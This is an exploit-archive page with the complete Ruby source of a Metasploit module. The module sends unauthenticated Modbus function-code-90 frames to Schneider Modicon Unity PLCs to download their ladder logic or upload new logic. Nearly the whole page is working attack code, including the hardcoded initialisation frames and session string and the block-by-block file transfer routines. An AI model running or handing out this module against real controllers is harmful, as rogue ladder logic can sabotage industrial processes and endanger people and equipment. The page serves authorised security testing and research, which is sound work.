what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Schneider Modicon Ladder Logic Upload/Download

Schneider Modicon Ladder Logic Upload/Download
Posted Aug 31, 2024
Authored by Tod Beardsley, K. Reid Wightman | Site metasploit.com

The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to send and receive ladder logic. The protocol is unauthenticated, and allows a rogue host to retrieve the existing logic and to upload new logic. Two modes are supported: "SEND" and "RECV," which behave as one might expect -- use set mode ACTIONAME to use either mode of operation. In either mode, FILENAME must be set to a valid path to an existing file (for SENDing) or a new file (for RECVing), and the directory must already exist. The default, modicon_ladder.apx is a blank ladder logic file which can be used for testing. This Metasploit module is based on the original modiconstux.rb Basecamp module from DigitalBond.

tags | exploit, protocol
SHA-256 | e5568f7609da41c1b5a99aaa7d319bbcc02872f0370b9fe227d271b21a9b5d97

Schneider Modicon Ladder Logic Upload/Download

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to send and receive ladder logic. The protocol is
unauthenticated, and allows a rogue host to retrieve the existing
logic and to upload new logic.

Two modes are supported: "SEND" and "RECV," which behave as one might
expect -- use 'set mode ACTIONAME' to use either mode of operation.

In either mode, FILENAME must be set to a valid path to an existing
file (for SENDing) or a new file (for RECVing), and the directory must
already exist. The default, 'modicon_ladder.apx' is a blank
ladder logic file which can be used for testing.

This module is based on the original 'modiconstux.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => '2012-04-05'
))

register_options(
[
OptString.new('FILENAME',
[
true,
"The file to send or receive",
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
]),
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
[
"SEND",
"RECV"
]
]),
Opt::RPORT(502)
])

end

def run
unless valid_filename?
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
return nil
end
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when "SEND"
writefile
when "RECV"
readfile
end
end

def valid_filename?
if datastore['MODE'] == "SEND"
File.readable? datastore['FILENAME']
else
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
end
end

# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end

# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
r = sock.recv(65535, 0.1)
return r
end

# This function sends some initialization requests
# required for priming the Quantum
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end

# Write the contents of local file filename to the target's filenumber
# blank logic files will be available on the Digital Bond website
def writefile
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
blocksize = 244 # bytes per block in file transfer
buf = File.binread(datastore['FILENAME'])
fullblocks = buf.length / blocksize
if fullblocks > 255
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
return
end
lastblocksize = buf.length - (blocksize*fullblocks)
fileblocks = fullblocks
if lastblocksize != 0
fileblocks += 1
end
filetype = buf[0..2]
if filetype == "APX"
filenum = "\x01"
elsif filetype == "APB"
filenum = "\x10"
end
payload = "\x00\x5a\x00\x03\x01"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x30\x00"
payload += filenum
response = sendframe(makeframe(payload))
if response[8..9] == "\x01\xfe"
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
else
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
return
end
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
block = 1
block2status = 0 # block 2 must always be sent twice
while block <= fullblocks
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += "\x00\xf4\x00"
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
res = sendframe(makeframe(payload))
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
return
end
# redo this iteration of the loop if we're on block 2
if block2status == 0 and block == 2
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
block2status = 1
redo
end
block += 1
end
if lastblocksize > 0
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
res = sendframe(makeframe(payload))
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
return
end
end
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
sendframe(makeframe(payload))
end

# Only reading the STL file is supported at the moment :(
def readfile
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
file = File.open(datastore['FILENAME'], 'wb')
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
response = sendframe(makeframe(payload))
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
block = 1
filedata = ""
finished = false
while !finished
payload = "\x00\x5a\x01\x34\x00\x01"
payload += [block].pack("c")
payload += "\x00"
response = sendframe(makeframe(payload))
filedata += response[0xe..-1]
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
finished = true
else
block += 1
end
end
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
sendframe(makeframe(payload))
file.print filedata
file.close
end

def cleanup
disconnect rescue nil
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close